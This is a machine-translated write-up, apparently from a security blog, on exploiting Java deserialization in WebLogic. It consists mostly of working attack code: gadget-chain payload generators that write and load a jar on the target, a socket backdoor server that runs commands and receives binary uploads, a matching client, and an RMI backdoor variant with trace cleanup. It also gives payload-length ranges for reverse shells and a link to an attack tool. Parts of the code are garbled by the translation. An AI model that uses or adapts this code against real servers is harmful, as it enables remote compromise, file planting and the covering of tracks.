Java deserialization vulnerability in WebLogic implements binary file upload and Command Execution
0x00 Introduction
Java deserialization vulnerability has been detected on famous servers such as WebLogic and JBoss for a long time. The breenmachine of the FoxGlove Security team provides a detailed analysis, but does not provide a further exploitation method. Some time ago, without the need to connect to the public network, rebeyond used the RMI method to implement text file upload and command execution on WebLogic, but did not implement binary file upload. I used Socket to upload binary files and execute commands. At the same time, I also implemented RMI binary files.
0x01 ideas
First, send Payload to write a Socket-implemented mini server class to the target server. All functions will be executed by this mini server, and then a Payload will be sent to start the server, finally, the local client creates a Socket connection and sends a request to the server to use the corresponding functions. I use the multipart transmission method to upload binary files. This allows you to upload large files.
Create a Socket-implemented mini-server class locally and export the jar package to upload the jar package to the target server. Start the mini-server on the target server and use the binary file upload and command execution functions to send and close requests, cleanup of residual files on the target server 0x02 1. Create a Socket-implemented mini server class locally and export the jar package
#! Javapublic class Server {/*** start server * @ param port * @ param path */public static void start (int port, String path) {ServerSocket Server = null; socket client = null; InputStream input = null; OutputStream out = null; Runtime runTime = Runtime. getRuntime (); try {server = new ServerSocket (port); // 0 indicates function mode 1 indicates transport mode int opcode = 0; int len = 0; byte [] data = new byte [100*1024]; String uploadPath = ""; Boolean isUploadStart = false; client = server. accept (); input = client. getInputStream (); out = client. getOutputStream (); byte [] overData = {0, 0, 0, 6, 6, 6, 8, 8}; while (true) {len = input. read (data); if (len! =-1) {if (opcode = 0) {// function mode String operation = new String (data, 0, len); String [] receive = operation. split (":"); if ("bye ". equals (receive [0]) {// disconnect to close the server out. write ("success ". getBytes (); out. flush (); FileOutputStream outputStream = new FileOutputStream (path); // clear the residual file outputStream. write ("". getBytes (); outputStream. flush (); outputStream. close (); break;} else if ("cmd ". equals (receiv E [0]) {// execute the command to return the result try {Process proc = runTime.exe c (receive [1]); InputStream in = proc. getInputStream (); byte [] procData = new byte [1024]; byte [] total = new byte [0]; int procDataLen = 0; while (procDataLen = in. read (procData ))! =-1) {byte [] temp = new byte [procDataLen]; for (int I = 0; I <procDataLen; I ++) {temp [I] = procData [I];} total = byteMerger (total, temp);} if (total. length = 0) {out. write ("error ". getBytes ();} else {out. write (total);} out. flush ();} catch (Exception e) {e. printStackTrace (); out. write ("error ". getBytes (); out. flush () ;}} else if ("upload ". equals (receive [0]) {// switch to transmission mode uploadPath = receive [1]; isUploadStart = true; opcode = 1 ;}} else if (opcode = 1) {// transmission mode byte [] receive = new byte [len]; for (int I = 0; I <len; I ++) {receive [I] = data [I];} if (Arrays. equals (overData, receive) {// successful transfer end switching mode: isUploadStart = false; opcode = 0;} else {// receives FileOutputStream outputStream = null in multiple parts; if (isUploadStart) {// start part of the received file outputStream = new FileOutputStream (uploadPath, false); outputStream. write (receive); isUploadStart = false;} else {// end part of the received file outputStream = new FileOutputStream (uploadPath, true); outputStream. write (receive);} outputStream. close () ;}} else {Thread. sleep (1000) ;}} catch (Exception e) {e. printStackTrace (); try {out. write ("error ". getBytes (); out. flush () ;}catch (IOException e1) {e1.printStackTrace () ;}} finally {try {client. close (); server. close ();} catch (IOException e) {e. printStackTrace ();}}} /*** merge byte array ** @ param byte_1 * @ param byte_2 * @ return the merged array */private static byte [] byteMerger (byte [] byte_1, byte [] byte_2) {byte [] byte_3 = new byte [byte_1.length + byte_2.length]; System. arraycopy (byte_1, 0, byte_3, 0, byte_1.length); System. arraycopy (byte_2, 0, byte_3, byte_1.length, byte_2.length); return byte_3 ;}}
Compile and export the jar package
2. Send Payload to upload the jar package to the server
Here, I would like to note that breenmachine specifically describes the length of Payload when introducing the exploitation of WebLogic vulnerabilities. However, none of the domestic articles I have seen mentioned this point, the Payload length value in the Code is written by the original author 09f3. I think this is also one of the main causes of vulnerability exploitation failure. Therefore, we recommend that you calculate the length before sending the Payload.
A very important point about the first chunk of the payload. Notice the first 4 bytes "00 09 f3". The "09 f3" is the specification for the TOTAL payload length in bytes.
The Payload length value can be within the same range. The cf_hb of our team has passed the fuzz test to obtain several range values:
Poc access specified url: 0x0000-0x1e39 rebound shell: 0x000-0x2049 Execute Command calc.exe: 0x0000-0x1d38
This step generates the Payload for uploading the jar package
#!javapublic static byte[] generateServerPayload(String remotePath) throws Exception { final Transformer[] transformers = new Transformer[] { new ConstantTransformer(FileOutputStream.class), new InvokerTransformer("getConstructor", new Class[] { Class[].class }, new Object[] { new Class[] { String.class } }), new InvokerTransformer("newInstance", new Class[] { Object[].class }, new Object[] { new Object[] { remotePath } }), new InvokerTransformer("write", new Class[] { byte[].class }, new Object[] { Utils.hexStringToBytes(SERVER_JAR) }), new ConstantTransformer(1) }; return generateObject(transformers);}
Write jar package to the target server
3. Send Payload to start the mini server on the target server
Generate the Payload for the startup Server
#!javapublic static byte[] generateStartPayload(String remoteClassPath, String remotePath, int port) throws Exception { final Transformer[] transformers = new Transformer[] { new ConstantTransformer(URLClassLoader.class), new InvokerTransformer("getConstructor", new Class[] { Class[].class }, new Object[] { new Class[] { URL[].class } }), new InvokerTransformer("newInstance", new Class[] { Object[].class }, new Object[] { new Object[] { new URL[] { new URL(remoteClassPath) } } }), new InvokerTransformer("loadClass", new Class[] { String.class }, new Object[] { "org.heysec.exp.Server" }), new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "start", new Class[] { int.class, String.class } }), new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[] { port, remotePath } }) }; return generateObject(transformers);}
Send to target server to start the mini Server
4. Use the binary file upload and command execution functions
Code of the local test Client
#! Javapublic class Client {public static void main (String [] args) {Socket client = null; InputStream input = null; OutputStream output = null; FileInputStream fileInputStream = null; try {int len = 0; byte [] receiveData = new byte [5*1024]; byte [] sendData = new byte [100*1024]; int sendLen = 0; byte [] overData = {0, 0, 0, 6, 6, 6, 8, 8}; // create a client Socket client = new Socket ("10.10.10.129", 8 080); input = client. getInputStream (); output = client. getOutputStream (); // send the file preparation command to switch the server to the transmission mode output. write ("upload: test.zip ". getBytes (); output. flush (); Thread. sleep (1000); // multipart Transfer File fileInputStream = new FileInputStream ("F:/security set/tools/BurpSuite_pro_v1.6.27.zip"); sendLen = fileInputStream. read (sendData); if (sendLen! =-1) {output. write (Arrays. copyOfRange (sendData, 0, sendLen); output. flush (); Thread. sleep (1000); while (sendLen = fileInputStream. read (sendData ))! =-1) {output. write (Arrays. copyOfRange (sendData, 0, sendLen); output. flush () ;}} Thread. sleep (1000); // send the file upload end command output. write (overData); output. flush (); Thread. sleep (1000); // execute the command output. write ("cmd: cmd/c dir ". getBytes (); output. flush (); Thread. sleep (1000); // receives the returned result len = input. read (receiveData); String result = new String (receiveData, 0, len, "GBK"); System. out. println (result); Thread. sleep (1000); // disable the server output. write ("bye ". getBytes (); output. flush (); Thread. sleep (1000); len = input. read (receiveData); System. out. println (new String (receiveData, 0, len);} catch (Exception e) {e. printStackTrace ();} finally {try {fileInputStream. close (); client. close ();} catch (Exception e) {e. printStackTrace ();}}}}
Test result 1
Test result 2
5. Send a close request to clear residual files
The client sends a close request
#!javaoutput.write("bye".getBytes());output.flush();
The server clears the residual files and closes them.
#! Javaif ("bye ". equals (receive [0]) {// disconnect to close the server out. write ("success ". getBytes (); out. flush (); FileOutputStream outputStream = new FileOutputStream (path); // clear the residual file outputStream. write ("". getBytes (); outputStream. flush (); outputStream. close (); break ;}
This is the whole process implemented according to my ideas.
0x03 procedure for uploading and optimizing binary files using RMI
This part only expands the rebeyond exploitation method, adds the binary file upload function, and optimizes the process.
Extended remote class
#! Javapublic class RemoteObjectImpl implements RemoteObject {/*** multipart upload File */public boolean upload (String uploadPath, byte [] data, boolean append) {FileOutputStream out = null; try {out = new FileOutputStream (uploadPath, append); out. write (data); return true;} catch (Exception e) {e. printStackTrace (); return false;} finally {try {out. close ();} catch (Exception e) {e. printStackTrace (); retur N false ;}}/ *** run the command */public String exec (String cmd) {try {Process proc = runtime.getruntime(cmd.exe c (cmd ); bufferedReader br = new BufferedReader (new InputStreamReader (proc. getInputStream (); StringBuffer sb = new StringBuffer (); String line; String result; while (line = br. readLine ())! = Null) {sb. append (line ). append ("\ n");} result = sb. toString (); if ("". equals (result) {return "error";} else {return result ;}} catch (Exception e) {e. printStackTrace (); return "error" ;}}/*** unregister remote classes and clear residual files */public void unbind (String path) {try {Context ctx = new InitialContext (); ctx. unbind ("RemoteObject");} catch (Exception e) {e. printStackTrace ();} FileOutputStream out = null; File file = null; try {file = new File (path); out = new FileOutputStream (file); out. write ("". getBytes ();} catch (Exception e) {e. printStackTrace ();} finally {try {out. close ();} catch (Exception e) {e. printStackTrace () ;}}/ *** register remote class */public static void bind () {try {RemoteObjectImpl remote = new RemoteObjectImpl (); context ctx = new InitialContext (); ctx. bind ("RemoteObject", remote);} catch (Exception e) {e. printStackTrace ();}}}
In this way, the final anti-registration and cleanup of residual files do not need to be sent again, as long as the remote class unbind method is called.
0x04 Socket VS RMI VS Socket RMI port requires additional ports that may be blocked by the firewall. WebLogic port transmission rate is faster through Socket byte stream. Calling through remote process is slower. 0x05 Summary
The idea of creating a Socket server is used to exploit the vulnerability. We can continue to expand the server's functions, and even other code execution vulnerabilities can be used in this way, we recommend that you use the Socket mode first when transferring large files. Finally, I developed a GUI program that integrates the Socket and RMI methods for your choice.
Socket usage
RMI usage
Download link: http://pan.baidu.com/s/1pKuR9GJ Password: 62x4